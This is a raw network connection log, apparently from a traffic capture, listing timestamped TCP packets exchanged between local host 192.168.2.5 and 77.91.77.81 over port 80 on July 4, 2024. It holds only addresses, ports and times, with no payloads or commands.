Jul 4, 2024 22:20:37.861361980 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861426115 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861443043 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861458063 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861469030 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861474991 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861479998 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861510992 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861531973 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861536026 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861543894 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861555099 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861574888 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861627102 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861635923 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861648083 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861656904 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861668110 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861680031 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861716032 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861762047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861807108 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861823082 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861835003 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861865044 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861891031 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.861912012 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861922979 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861932993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861943960 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.861958027 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862004995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862004995 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862163067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862215996 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862236023 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862246990 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862278938 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862314939 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862339020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862349033 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862359047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862370014 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862384081 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862411976 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862526894 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862539053 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862548113 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862557888 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862571955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.862577915 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862617016 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.862617016 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.863164902 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.863177061 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.863185883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.863217115 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.863253117 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.953569889 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.953665018 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.953737020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.953747034 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.953757048 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.953768969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.953778982 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.953787088 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.953819990 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.953845024 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.953879118 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.953926086 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.954035997 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.954046965 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.954056025 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.954082966 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.954111099 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.954238892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.954291105 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.954365969 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.954376936 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.954387903 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.954418898 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.954473019 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.954551935 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.954564095 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.954612017 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.978517056 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.978538036 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.978548050 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.978614092 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.978626966 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.978640079 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.978646040 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.978651047 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.978672028 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.978704929 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.978732109 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.978745937 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.978775978 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.978810072 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.979305029 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.979358912 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.979444027 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.979494095 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.979573011 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.979620934 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.980459929 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.980526924 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.980595112 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.980642080 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.980739117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.980788946 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.981826067 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.981868029 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.981959105 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.982001066 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.982105017 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.982147932 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.982235909 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.982279062 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.982372046 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.982382059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.982417107 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984637976 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984648943 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984663963 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984690905 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984704971 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984785080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984801054 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984812021 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984822035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984824896 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984833956 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984839916 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984844923 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984857082 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984868050 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984869003 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984882116 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984883070 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984893084 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984904051 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984914064 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984914064 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984927893 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984936953 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984952927 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984956980 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984975100 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984980106 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984985113 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.984994888 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.984998941 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985009909 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985009909 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985022068 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985024929 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985033035 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985044956 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985049009 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985057116 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985068083 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985074043 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985078096 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985089064 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985090017 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985104084 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985105038 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985117912 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985126972 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985131979 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985138893 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985151052 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985156059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985168934 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985172987 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985186100 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.985193014 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985214949 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.985224962 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:37.992033005 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.992077112 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.992088079 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:37.992214918 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.040919065 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.040930986 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.040946007 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.040956974 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.040968895 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.040980101 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.040991068 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041030884 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041062117 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041069984 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041074991 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041100979 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041140079 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041171074 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041182995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041193008 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041208029 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041213989 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041239023 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041261911 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041265965 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041301966 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041415930 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041455984 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041476965 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041487932 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041512966 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041532993 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041549921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041589022 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041600943 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041611910 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041639090 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041661024 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041680098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041718006 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041755915 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041766882 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041794062 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041801929 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.041806936 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.041846037 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.042078972 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.042124987 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.042160034 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.042171955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.042192936 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.042205095 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.042223930 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.042236090 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.042262077 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.042275906 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.068564892 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068578005 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068593979 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068607092 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068618059 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068640947 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.068675995 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068679094 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.068692923 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068703890 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068716049 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.068748951 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.068778038 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068787098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068820953 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.068841934 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.068898916 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068931103 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068939924 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.068943024 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.068965912 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.068983078 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.069042921 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.069055080 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.069065094 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.069083929 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.069097042 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.096776962 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.096788883 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.096800089 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.096856117 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.096877098 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.096935987 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.096946955 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.096967936 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.096977949 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.096987963 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.096988916 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097009897 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097012997 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097023964 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097029924 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097055912 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097156048 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097196102 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097203970 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097214937 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097244024 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097256899 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097327948 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097340107 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097351074 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097364902 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097367048 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097382069 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097398996 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097469091 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097481012 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097507000 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097532034 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097600937 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097637892 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097654104 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097667933 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097691059 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097716093 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097734928 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097745895 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097774982 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097879887 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097889900 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097899914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097909927 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097917080 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097923040 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.097945929 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.097970963 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098067999 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098079920 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098089933 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098110914 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098110914 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098139048 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098164082 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098484993 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098505020 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098516941 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098532915 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098546028 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098565102 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098645926 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098658085 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098668098 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098680019 CEST	80	49711	77.91.77.81	192.168.2.5
Jul 4, 2024 22:20:38.098680973 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098697901 CEST	49711	80	192.168.2.5	77.91.77.81
Jul 4, 2024 22:20:38.098717928 CEST	49711	80	192.168.2.5	77.91.77.81
